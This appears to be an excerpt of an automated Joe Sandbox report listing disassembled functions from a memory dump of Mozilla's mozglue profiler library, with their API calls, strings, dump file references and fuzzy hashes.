Instruction ID: 95663fcd0a722af3ef4da7d3d48bc2a3d8b2f6c597abb36cacd7f34fbab25542
Opcode Fuzzy Hash: 694ca9ff931850051243e8a377aef62d14bbdd58249929953073578408cab88b
Instruction Fuzzy Hash: 6C313571E0020C9FDB14AF58EC149EE77A9DF88318F00842DEA1E9BB40DB3069098BE1

Function 6CB046E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CB04721

Part of subcall function 6CAB4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CAF3EBD,00000017,?,00000000,?,6CAF3EBD,?,?,6CAB42D2), ref: 6CAB4444

Strings

profiler-paused, xrefs: 6CB046E4
-%llu, xrefs: 6CB04733
., xrefs: 6CB0476A

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 5ab0de7a4960716f6424fe15b00f70503841668951ab978847b786be3584a264
Instruction ID: dc1287c17535ceedfbab35cdd408d264868e0293fd6c460fbacc3d4fc65603c9
Opcode Fuzzy Hash: 5ab0de7a4960716f6424fe15b00f70503841668951ab978847b786be3584a264
Instruction Fuzzy Hash: 2B313771F043585BCB0CDF6CD8916AEBFE6DB98314F14853EE8099BB81EB7498448B91

Function 6CB0B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAF3EBD,6CAF3EBD,00000000), ref: 6CAB42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CB0B127), ref: 6CB0B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CB0B4E4

Strings

pid:, xrefs: 6CB0B4DE

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 2449db9c30e9180057c43bfb2043219340936a5b84a7ed4489530d632f0b3ae6
Instruction ID: e6b4bf6e9569d16e1c20a47c8844b30dbd04cb3ef867c9d0876026a5d18cfc87
Opcode Fuzzy Hash: 2449db9c30e9180057c43bfb2043219340936a5b84a7ed4489530d632f0b3ae6
Instruction Fuzzy Hash: CD312631B01259CFDB10DFA9D880AEEBBB5FF05318F540529D81567A41D731EA89CBE2

Function 6CABF100 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(shell32,?,6CB2D020), ref: 6CABF122
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CABF132

Strings

SHGetKnownFolderPath, xrefs: 6CABF12C
shell32, xrefs: 6CABF11D

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetKnownFolderPath$shell32
API String ID: 2574300362-1045111711
Opcode ID: d212ddf33bad7de220e398a01a4169483136a825d43c32fbe7ed8df698c0ac41
Instruction ID: 602c03545cb459d89def26e79a89c763c21b87869a5b52cc4020d94478885c9c
Opcode Fuzzy Hash: d212ddf33bad7de220e398a01a4169483136a825d43c32fbe7ed8df698c0ac41
Instruction Fuzzy Hash: 7C014C79700229ABCB109F69EC58A5E7BBCEF4A655B44091CE94DA7640DB30A944CBA0

Function 6CAFE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAFE577
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFE584
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CAFE8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CAFE5A1, 6CAFE5CC, 6CAFE5FF, 6CAFE62A
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAFE655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAFE826, 6CAFE850
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAFE722, 6CAFE750, 6CAFE7A2
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAFE777

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: a151a0fff6f637d541becff346d9b66118057394227b63e5f48fdfb08dd466fa
Instruction ID: edb640b4496f40e599ccb5b0334600ac1023b1434c690f6a4d29d7ad4707f8d2
Opcode Fuzzy Hash: a151a0fff6f637d541becff346d9b66118057394227b63e5f48fdfb08dd466fa
Instruction Fuzzy Hash: 481104316042A8DFCB109F18C448B6DBBB8FB89728F040619F89947B50C770A849CFD1

Function 6CB00C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB00CD5

Part of subcall function 6CAEF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAEF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB00D40
free.MOZGLUE ref: 6CB00DCB

Part of subcall function 6CAD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAD5EDB
Part of subcall function 6CAD5E90: memset.VCRUNTIME140(6CB17765,000000E5,55CCCCCC), ref: 6CAD5F27
Part of subcall function 6CAD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAD5FB2

free.MOZGLUE ref: 6CB00DDD
free.MOZGLUE ref: 6CB00DF2

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: c8b3903fb09611389d2051f6927dc0b7562f7afdf1cec0bc49faab7927ea973a
Instruction ID: dfa2605e1b16dd70cdebdbdba91ed252a97d4593eef92e1c655789eaacdf6533
Opcode Fuzzy Hash: c8b3903fb09611389d2051f6927dc0b7562f7afdf1cec0bc49faab7927ea973a
Instruction Fuzzy Hash: 7D41F775A087918BD320DF29D1407AAFBE5FFC9614F518A2EE8D887750DB70A484CB92

Function 6CB09120 Relevance: 6.3, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CB08242,?,00000000,?,6CAFB63F), ref: 6CB09188
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CB08242,?,00000000,?,6CAFB63F), ref: 6CB091BB
memcpy.VCRUNTIME140(00000000,00000008,0000000F,?,?,6CB08242,?,00000000,?,6CAFB63F), ref: 6CB091EB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CB08242,?,00000000,?,6CAFB63F), ref: 6CB09200
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CB08242,?,00000000,?,6CAFB63F), ref: 6CB09219

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 942a2b1d81a70bb8ef65b90bc1ee32049e1d6b91762d671294f158a8f9ade18f
Instruction ID: 4fc2c23f607b074f3b86931fc27868ce5d495c967128195e3e22e0f9c62721a7
Opcode Fuzzy Hash: 942a2b1d81a70bb8ef65b90bc1ee32049e1d6b91762d671294f158a8f9ade18f
Instruction Fuzzy Hash: C2312131F006458BEB10DF68DC8476EBBA9FF81314F518629D85AD7650EB30E804CBA2

Function 6CAF0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E7DC), ref: 6CAF0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6CAF084C
EnterCriticalSection.KERNEL32(?), ref: 6CAF08AF
LeaveCriticalSection.KERNEL32(?), ref: 6CAF08BD
LeaveCriticalSection.KERNEL32(6CB3E7DC), ref: 6CAF08D5

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: a83bdefcadbb16f63de0792570e3e759ca016af5b49b132fb5e029a8b0aee3b5
Instruction ID: 40ef6946ad77e9143ea375a17ef3ffc5dee5cf37ba477fb9b2c3e1b0e56cee19
Opcode Fuzzy Hash: a83bdefcadbb16f63de0792570e3e759ca016af5b49b132fb5e029a8b0aee3b5
Instruction Fuzzy Hash: 09210731B0528D9BEF04CF69DC48BBE73B9AF44709F540528E51DA7A40DF31A8498BD0

Function 6CB0CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CAFDA31,00100000,?,?,00000000,?), ref: 6CB0CDA4

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

Part of subcall function 6CB0D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CB0CDBA,00100000,?,00000000,?,6CAFDA31,00100000,?,?,00000000,?), ref: 6CB0D158
Part of subcall function 6CB0D130: InitializeConditionVariable.KERNEL32(00000098,?,6CB0CDBA,00100000,?,00000000,?,6CAFDA31,00100000,?,?,00000000,?), ref: 6CB0D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CAFDA31,00100000,?,?,00000000,?), ref: 6CB0CDC4

Part of subcall function 6CB07480: ReleaseSRWLockExclusive.KERNEL32(?,6CB115FC,?,?,?,?,6CB115FC,?), ref: 6CB074EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CAFDA31,00100000,?,?,00000000,?), ref: 6CB0CECC

Part of subcall function 6CACCA10: mozalloc_abort.MOZGLUE(?), ref: 6CACCAA2

Part of subcall function 6CAFCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CB0CEEA,?,?,?,?,00000000,?,6CAFDA31,00100000,?,?,00000000), ref: 6CAFCB57
Part of subcall function 6CAFCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CAFCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CB0CEEA,?,?), ref: 6CAFCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CAFDA31,00100000,?,?,00000000,?), ref: 6CB0D058

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: d243e1b8cd931a6e6b4b21a3ffcc558895928accf25e7507c67f46aefc1f5d83
Instruction ID: ccbe5c979a8fd527909a4444e042fe345088669babce96c1762a68b6d5d991c1
Opcode Fuzzy Hash: d243e1b8cd931a6e6b4b21a3ffcc558895928accf25e7507c67f46aefc1f5d83
Instruction Fuzzy Hash: BBD18F71B04B469FD708CF28C580799FBE1FF88304F01866DD85987751EB31A9A9CB82

Function 6CAC1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CAC17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6CAC18EE
free.MOZGLUE(?), ref: 6CAC1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAC194C

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: f0bbdf3f1da3d50545899796327cd43cdb49f66935a5dbe349c1967c9c54609e
Instruction ID: 421d8019eb63799295e492db2283db1a2cc53cd0c9cb43b71430c375b501d014
Opcode Fuzzy Hash: f0bbdf3f1da3d50545899796327cd43cdb49f66935a5dbe349c1967c9c54609e
Instruction Fuzzy Hash: EB81B170B142059FDB08CFA8D8D49AEBBB1FF89314F04456CE915AB754D730E898CBA2

Function 6CAD5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CAD5D40
EnterCriticalSection.KERNEL32(6CB3F688), ref: 6CAD5D67
__aulldiv.LIBCMT ref: 6CAD5DB4
LeaveCriticalSection.KERNEL32(6CB3F688), ref: 6CAD5DED

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 1813c0b2ceafbb7807b085a225cdd1e3750e98bfc24c216fbf3152f45eb528a2
Instruction ID: 58ae1bf59d07c8e21bd5061ba13f60fba03d100fb9b964236f0baa45c8168a05
Opcode Fuzzy Hash: 1813c0b2ceafbb7807b085a225cdd1e3750e98bfc24c216fbf3152f45eb528a2
Instruction Fuzzy Hash: 9D515EB1F001698FCF18CFA8C954BAEBBB1FB89304F1A8659D859A7754C7307985CB90

Function 6CB17170 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CB17250
EnterCriticalSection.KERNEL32(6CB3F688), ref: 6CB17277
__aulldiv.LIBCMT ref: 6CB172C4
LeaveCriticalSection.KERNEL32(6CB3F688), ref: 6CB172F7

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: cdea3ff61965b3952ace09e6797906d03f887766a0b5a105225879b3d11150c3
Instruction ID: ca470349157fdd0d68bec9ba5f12adcb5a996050a15f72a9fed8d9995ab59e48
Opcode Fuzzy Hash: cdea3ff61965b3952ace09e6797906d03f887766a0b5a105225879b3d11150c3
Instruction Fuzzy Hash: B3515C75F041698FCF18CFA8C950AAEBBB1FB89304F158669D819B7B50C7706945CBD0

Function 6CABCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CABCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CABCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CABCF4E

Strings

0, xrefs: 6CABCF30

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 47d26cfd650b1789e98dcc3fae22fc88c49003cffed1084e580774445de2849d
Instruction ID: fe0ccae8ee379a79648394a80ee2e393898b8e3a47221ffd78e8673028bacaab
Opcode Fuzzy Hash: 47d26cfd650b1789e98dcc3fae22fc88c49003cffed1084e580774445de2849d
Instruction Fuzzy Hash: E351F275A00256CFCB00CF18C490EAABBB9EF99304F198599E8595F351D735ED46CBE0

Function 6CB177D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB177FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6CB17829

Part of subcall function 6CAECC38: GetCurrentProcess.KERNEL32(?,?,?,?,6CAB31A7), ref: 6CAECC45
Part of subcall function 6CAECC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6CAB31A7), ref: 6CAECC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CB1789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CB178CF

Part of subcall function 6CAB4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAB4E5A
Part of subcall function 6CAB4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAB4E97

Part of subcall function 6CAB4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CAF3EBD,6CAF3EBD,00000000), ref: 6CAB42A9

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: dcd3d4d9109dfcca2de895af2898532e0b6a264e9484b1f4736cfff80cd02045
Instruction ID: 05cc1724650e7c3b1c1a6d6bd55dd53bc429f5ed8e719134126b95165baef145
Opcode Fuzzy Hash: dcd3d4d9109dfcca2de895af2898532e0b6a264e9484b1f4736cfff80cd02045
Instruction Fuzzy Hash: 8241AF719087469BD300DF29D48056BFBF4FFCA254F204A2EE4A997640DB70E999CBD2

Function 6CAF6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6CAF82BC,?,?), ref: 6CAF649B

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF64A9

Part of subcall function 6CAEFA80: GetCurrentThreadId.KERNEL32 ref: 6CAEFA8D
Part of subcall function 6CAEFA80: AcquireSRWLockExclusive.KERNEL32(6CB3F448), ref: 6CAEFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAF653F
free.MOZGLUE(?), ref: 6CAF655A

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 9d3690c9f8fe528e780700715556a2773e40b39c8c5c2414f18b33013cc61e35
Instruction ID: 6624df5c2f5bd632885333fe15f0bb3a8f0ac7fc16161e4fdd18e77019b5f3c0
Opcode Fuzzy Hash: 9d3690c9f8fe528e780700715556a2773e40b39c8c5c2414f18b33013cc61e35
Instruction Fuzzy Hash: 81317EB5A043559FD700DF14D984A9EBBE4FF88318F00842EE85A97741DB30E909CB92

Function 6CB0A2B0 Relevance: 6.1, APIs: 4, Instructions: 90COMMON

Download Yara Rule

APIs

free.MOZGLUE(?), ref: 6CB0A315
?_Xbad_function_call@std@@YAXXZ.MSVCP140(?), ref: 6CB0A31F
free.MOZGLUE(00000000,?,?,?,?), ref: 6CB0A36A

Part of subcall function 6CAD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAD5EDB
Part of subcall function 6CAD5E90: memset.VCRUNTIME140(6CB17765,000000E5,55CCCCCC), ref: 6CAD5F27
Part of subcall function 6CAD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAD5FB2

Part of subcall function 6CB02140: free.MOZGLUE(?,00000060,?,6CB07D36,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB0215D

free.MOZGLUE(00000000), ref: 6CB0A37C

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveXbad_function_call@std@@memset
String ID:
API String ID: 700533648-0
Opcode ID: 3a81b171f03f28492e5bf9d36eff73e833ea2f03804900f94fa414c5b04fdcd2
